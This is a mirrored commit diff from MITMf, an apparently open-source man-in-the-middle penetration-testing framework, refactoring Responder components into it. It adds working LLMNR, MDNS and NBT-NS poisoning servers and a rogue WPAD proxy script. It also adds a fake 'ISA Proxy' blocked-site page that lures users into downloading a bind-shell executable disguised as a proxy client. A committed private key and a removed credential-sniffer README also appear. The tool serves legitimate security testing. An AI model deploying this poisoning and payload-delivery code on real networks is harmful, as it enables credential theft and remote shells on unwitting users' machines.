mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-05 20:42:20 -07:00
first pass at refactoring:
directory structure has been simplified by grouping all the poisoners and servers in one folder impacket smb server has been replaced with responder's flask http server has beem replaced with responder's modified config file to support new changes
This commit is contained in:
parent
93d21c8b27
commit
fd9b79c617
87 changed files with 3921 additions and 3755 deletions
|
@ -20,53 +20,6 @@
|
|||
host = 127.0.0.1
|
||||
port = 9999
|
||||
|
||||
[[HTTP]]
|
||||
|
||||
#
|
||||
# Here you can configure MITMf's internal HTTP server
|
||||
# Note: changing the port number might break certain plugins
|
||||
|
||||
port = 80
|
||||
|
||||
[[SMB]]
|
||||
|
||||
#
|
||||
# Here you can configure MITMf's internal SMB server
|
||||
#
|
||||
|
||||
port = 445
|
||||
mode = normal # Can be set to Normal or Karma
|
||||
|
||||
# Set a custom challenge
|
||||
Challenge = 1122334455667788
|
||||
|
||||
[[[Shares]]] # Only parsed if type = Normal
|
||||
|
||||
#
|
||||
# You can define shares here
|
||||
#
|
||||
|
||||
# [[[[Share1]]]] #Share name
|
||||
# readonly = yes #Be very careful if you set this to no!
|
||||
# path = /tmp #Share path
|
||||
|
||||
# [[[[Share2]]]]
|
||||
# readonly = yes
|
||||
# path = /tmp
|
||||
|
||||
[[[Karma]]] # Only parsed if type = Karma
|
||||
|
||||
#
|
||||
# Here you can configure the Karma-SMB server
|
||||
#
|
||||
|
||||
defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out)
|
||||
|
||||
# exe = /tmp/evil.exe
|
||||
# dll = /tmp/evil.dll
|
||||
# ini = /tmp/desktop.ini
|
||||
# bat = /tmp/evil.bat
|
||||
|
||||
[[DNS]]
|
||||
|
||||
#
|
||||
|
@ -154,32 +107,63 @@
|
|||
|
||||
[Responder]
|
||||
|
||||
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
||||
MSSQL = On
|
||||
#Servers to start
|
||||
SQL = On
|
||||
HTTPS = On
|
||||
Kerberos = On
|
||||
FTP = On
|
||||
POP = On
|
||||
SMTP = On #Listens on 25/TCP, 587/TCP
|
||||
IMAP = On
|
||||
LDAP = On
|
||||
FTP = On
|
||||
POP = On
|
||||
SMTP = On
|
||||
IMAP = On
|
||||
LDAP = On
|
||||
|
||||
#Set this option with your in-scope targets (default = All)
|
||||
#Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
#Custom challenge
|
||||
Challenge = 1122334455667788
|
||||
|
||||
#Specific IP Addresses to respond to (default = All)
|
||||
#Example: RespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
RespondTo =
|
||||
|
||||
#Set this option with specific NBT-NS/LLMNR names to answer to (default = All)
|
||||
#Ex. RespondTo = WPAD,DEV,PROD,SQLINT
|
||||
#Specific NBT-NS/LLMNR names to respond to (default = All)
|
||||
#Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
||||
RespondToName =
|
||||
|
||||
#DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
#Specific IP Addresses not to respond to (default = None)
|
||||
#Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
DontRespondTo =
|
||||
|
||||
#Set this option with specific NBT-NS/LLMNR names not to respond to (default = None)
|
||||
#Ex. DontRespondTo = NAC, IPS, IDS
|
||||
#Specific NBT-NS/LLMNR names not to respond to (default = None)
|
||||
#Example: DontRespondTo = NAC, IPS, IDS
|
||||
DontRespondToName =
|
||||
|
||||
#Set your custom PAC script
|
||||
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
|
||||
[[HTTP Server]]
|
||||
|
||||
#Set to On to always serve the custom EXE
|
||||
Serve-Always = Off
|
||||
|
||||
#Set to On to replace any requested .exe with the custom EXE
|
||||
Serve-Exe = On
|
||||
|
||||
#Set to On to serve the custom HTML if the URL does not contain .exe
|
||||
Serve-Html = Off
|
||||
|
||||
#Custom HTML to serve
|
||||
HtmlFilename = config/responder/AccessDenied.html
|
||||
|
||||
#Custom EXE File to serve
|
||||
ExeFilename = config/responder/BindShell.exe
|
||||
|
||||
#Name of the downloaded .exe that the client will see
|
||||
ExeDownloadName = ProxyClient.exe
|
||||
|
||||
#Custom WPAD Script
|
||||
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}'
|
||||
|
||||
[[HTTPS Server]]
|
||||
|
||||
#Configure SSL Certificates to use
|
||||
SSLCert = config/responder/responder.crt
|
||||
SSLKey = config/responder/responder.key
|
||||
|
||||
[AppCachePoison]
|
||||
# HTML5 AppCache poisioning attack
|
||||
|
|
31
config/responder/AccessDenied.html
Normal file
31
config/responder/AccessDenied.html
Normal file
|
@ -0,0 +1,31 @@
|
|||
<html>
|
||||
<head>
|
||||
<title>Website Blocked: ISA Proxy Server</title>
|
||||
<style>
|
||||
<!--
|
||||
body, ul, li { font-family:Arial, Helvetica, sans-serif; font-size:14px; color:#737373; margin:0; padding:0;}
|
||||
.content { padding: 20px 15px 15px 40px; width: 500px; margin: 70px auto 6px auto; border: #D52B1E solid 2px;}
|
||||
.blocking { border-top: #D52B1E solid 2px; border-bottom: #D52B1E solid 2px;}
|
||||
.title { font-size: 24px; border-bottom: #ccc solid 1px; padding-bottom:15px; margin-bottom:15px;}
|
||||
.details li { list-style: none; padding: 4px 0;}
|
||||
.footer { color: #6d90e7; font-size: 14px; width: 540px; margin: 0 auto; text-align:right; }
|
||||
-->
|
||||
</style>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<center>
|
||||
<div class="content blocking">
|
||||
<div class="title" id="msg_title"><b>New Security Policy: Website Blocked</b></div>
|
||||
<ul class="details">
|
||||
<div id="main_block">
|
||||
<div id="msg_long_reason">
|
||||
<li><b>Access has been blocked. Please download and install the new </b><span class="url"><a href="http://isaProxysrv/ProxyClient.exe"><b>Proxy Client</b></a></span><b> in order to access internet resources.</b></li>
|
||||
</div>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer">ISA Security <b>Proxy Server</b></div>
|
||||
</center>
|
||||
</body>
|
||||
</html>
|
||||
|
BIN
config/responder/BindShell.exe
Normal file
BIN
config/responder/BindShell.exe
Normal file
Binary file not shown.
3
config/responder/gen-self-signed-cert.sh
Executable file
3
config/responder/gen-self-signed-cert.sh
Executable file
|
@ -0,0 +1,3 @@
|
|||
#!/bin/bash
|
||||
openssl genrsa -out responder.key 2048
|
||||
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
|
18
config/responder/responder.crt
Normal file
18
config/responder/responder.crt
Normal file
|
@ -0,0 +1,18 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
|
||||
NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
|
||||
AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
|
||||
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
|
||||
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
|
||||
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
|
||||
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
|
||||
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
|
||||
YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
|
||||
6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
|
||||
YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
|
||||
koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
|
||||
4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
|
||||
YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
|
||||
HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
|
||||
u0/CRCN/lg==
|
||||
-----END CERTIFICATE-----
|
27
config/responder/responder.key
Normal file
27
config/responder/responder.key
Normal file
|
@ -0,0 +1,27 @@
|
|||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
|
||||
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
|
||||
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
|
||||
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
|
||||
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
|
||||
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
|
||||
1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
|
||||
kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
|
||||
YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
|
||||
FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
|
||||
erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
|
||||
IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
|
||||
nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
|
||||
LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
|
||||
cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
|
||||
5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
|
||||
s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
|
||||
ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
|
||||
VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
|
||||
AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
|
||||
HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
|
||||
VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
|
||||
kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
|
||||
f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
|
||||
MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
|
||||
-----END RSA PRIVATE KEY-----
|
|
@ -22,7 +22,7 @@ from mitmflib.watchdog.observers import Observer
|
|||
from mitmflib.watchdog.events import FileSystemEventHandler
|
||||
from configobj import ConfigObj
|
||||
|
||||
class ConfigWatcher(FileSystemEventHandler, object):
|
||||
class ConfigWatcher(FileSystemEventHandler):
|
||||
|
||||
@property
|
||||
def config(self):
|
||||
|
|
|
@ -28,7 +28,7 @@ import sys
|
|||
|
||||
from flask import Flask
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from core.proxyplugins import ProxyPlugins
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
|
|
|
@ -1,64 +0,0 @@
|
|||
Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification.
|
||||
|
||||
| Screenshots |
|
||||
|:-----:|
|
||||
|  |
|
||||
|  |
|
||||
|
||||
###Sniffs
|
||||
|
||||
* URLs visited
|
||||
* POST loads sent
|
||||
* HTTP form logins/passwords
|
||||
* HTTP basic auth logins/passwords
|
||||
* HTTP searches
|
||||
* FTP logins/passwords
|
||||
* IRC logins/passwords
|
||||
* POP logins/passwords
|
||||
* IMAP logins/passwords
|
||||
* Telnet logins/passwords
|
||||
* SMTP logins/passwords
|
||||
* SNMP community string
|
||||
* NTLMv1/v2 all supported protocols like HTTP, SMB, LDAP, etc
|
||||
* Kerberos
|
||||
|
||||
|
||||
###Examples
|
||||
|
||||
Auto-detect the interface to sniff
|
||||
|
||||
```sudo python net-creds.py```
|
||||
|
||||
Choose eth0 as the interface
|
||||
|
||||
```sudo python net-creds.py -i eth0```
|
||||
|
||||
Ignore packets to and from 192.168.0.2
|
||||
|
||||
```sudo python net-creds.py -f 192.168.0.2```
|
||||
|
||||
Read from pcap
|
||||
|
||||
```python net-creds.py -p pcapfile```
|
||||
|
||||
|
||||
####OSX
|
||||
|
||||
Credit to [epocs](https://github.com/epocs):
|
||||
```
|
||||
sudo easy_install pip
|
||||
sudo pip install scapy
|
||||
sudo pip install pcapy
|
||||
brew install libdnet --with-python
|
||||
mkdir -p /Users/<username>/Library/Python/2.7/lib/python/site-packages
|
||||
echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users/<username>/Library/Python/2.7/lib/python/site-packages/homebrew.pth
|
||||
sudo pip install pypcap
|
||||
brew tap brona/iproute2mac
|
||||
brew install iproute2mac
|
||||
```
|
||||
Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'.
|
||||
|
||||
|
||||
####Thanks
|
||||
* Laurent Gaffie
|
||||
* psychomario
|
|
@ -6,10 +6,10 @@ from scapy.all import *
|
|||
from traceback import print_exc
|
||||
from netfilterqueue import NetfilterQueue
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("PacketParser", formatter)
|
||||
formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("PacketFilter", formatter)
|
||||
|
||||
class PacketParser:
|
||||
class PacketFilter:
|
||||
|
||||
def __init__(self, filter):
|
||||
self.filter = filter
|
94
core/poisoners/LLMNR.py
Normal file
94
core/poisoners/LLMNR.py
Normal file
|
@ -0,0 +1,94 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import core.responder.settings
|
||||
import core.responder.fingerprint
|
||||
|
||||
from core.reponder.packets import LLMNR_Ans
|
||||
from core.responder.odict import OrderedDict
|
||||
from SocketServer import BaseRequestHandler
|
||||
from core.responder.utils import *
|
||||
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
NameLen = struct.unpack('>B',data[12])[0]
|
||||
Name = data[13:13+NameLen]
|
||||
return Name
|
||||
|
||||
def IsOnTheSameSubnet(ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def IsICMPRedirectPlausible(IP):
|
||||
dnsip = []
|
||||
for line in file('/etc/resolv.conf', 'r'):
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
|
||||
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
|
||||
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
|
||||
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
|
||||
else:
|
||||
pass
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
IsICMPRedirectPlausible(settings.Config.Bind_To)
|
||||
|
||||
# LLMNR Server class
|
||||
class LLMNRServer(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
return None
|
||||
|
||||
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
|
||||
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
else:
|
||||
Finger = None
|
||||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), self.client_address)
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
|
||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
if Finger is not None:
|
||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
70
core/poisoners/MDNS.py
Normal file
70
core/poisoners/MDNS.py
Normal file
|
@ -0,0 +1,70 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import settings
|
||||
import socket
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MDNS_Ans
|
||||
from utils import *
|
||||
|
||||
def Parse_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
NameLen = struct.unpack('>B',data[0])[0]
|
||||
Name = data[1:1+NameLen]
|
||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
return Name+'.'+Name_
|
||||
|
||||
def Poisoned_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
Name = data[:len(data)-5]
|
||||
return Name
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
|
||||
data, soc = self.request
|
||||
Request_Name = Parse_MDNS_Name(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Request_Name) is not True:
|
||||
return None
|
||||
|
||||
try:
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
if Parse_IPV6_Addr(data):
|
||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||
|
||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||
|
||||
except Exception:
|
||||
raise
|
79
core/poisoners/NBTNS.py
Normal file
79
core/poisoners/NBTNS.py
Normal file
|
@ -0,0 +1,79 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import settings
|
||||
import fingerprint
|
||||
|
||||
from packets import NBT_Ans
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
# Define what are we answering to.
|
||||
def Validate_NBT_NS(data):
|
||||
if settings.Config.AnalyzeMode:
|
||||
return False
|
||||
|
||||
if NBT_NS_Role(data[43:46]) == "File Server":
|
||||
return True
|
||||
|
||||
if settings.Config.NBTNSDomain == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Domain Controller":
|
||||
return True
|
||||
|
||||
if settings.Config.Wredirect == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NBTNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(data[13:45])
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
return None
|
||||
|
||||
if data[2:4] == "\x01\x10":
|
||||
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
||||
else:
|
||||
Finger = None
|
||||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: NBT-NS]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
Buffer = NBT_Ans()
|
||||
Buffer.calculate(data)
|
||||
socket.sendto(str(Buffer), self.client_address)
|
||||
LineHeader = "[*] [NBT-NS]"
|
||||
|
||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
||||
|
||||
if Finger is not None:
|
||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
|
@ -1,102 +0,0 @@
|
|||
#common functions that are used throughout the Responder's code
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
#Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
if os.path.isfile(outfile) == False:
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data)
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
if os.path.isfile(outfile) == True:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
return False
|
||||
else:
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data)
|
||||
outf2.write("\n")
|
||||
outf2.close()
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||
return False
|
||||
if data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||
return True
|
||||
if data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#Function name self-explanatory
|
||||
def Is_Finger_On(Finger_On_Off):
|
||||
if Finger_On_Off == True:
|
||||
return True
|
||||
if Finger_On_Off == False:
|
||||
return False
|
||||
|
||||
def RespondToSpecificHost(RespondTo):
|
||||
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToSpecificName(RespondToName):
|
||||
if len(RespondToName)>=1 and RespondToName != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToIPScope(RespondTo, ClientIp):
|
||||
if ClientIp in RespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToNameScope(RespondToName, Name):
|
||||
if Name in RespondToName:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
##Dont Respond to these hosts/names.
|
||||
def DontRespondToSpecificHost(DontRespondTo):
|
||||
if len(DontRespondTo)>=1 and DontRespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToSpecificName(DontRespondToName):
|
||||
if len(DontRespondToName)>=1 and DontRespondToName != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToIPScope(DontRespondTo, ClientIp):
|
||||
if ClientIp in DontRespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToNameScope(DontRespondToName, Name):
|
||||
if Name in DontRespondToName:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def IsOnTheSameSubnet(ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def FindLocalIP(Iface):
|
||||
return OURIP
|
68
core/responder/fingerprint.py
Normal file
68
core/responder/fingerprint.py
Normal file
|
@ -0,0 +1,68 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import string
|
||||
import logging
|
||||
|
||||
from utils import *
|
||||
from odict import OrderedDict
|
||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
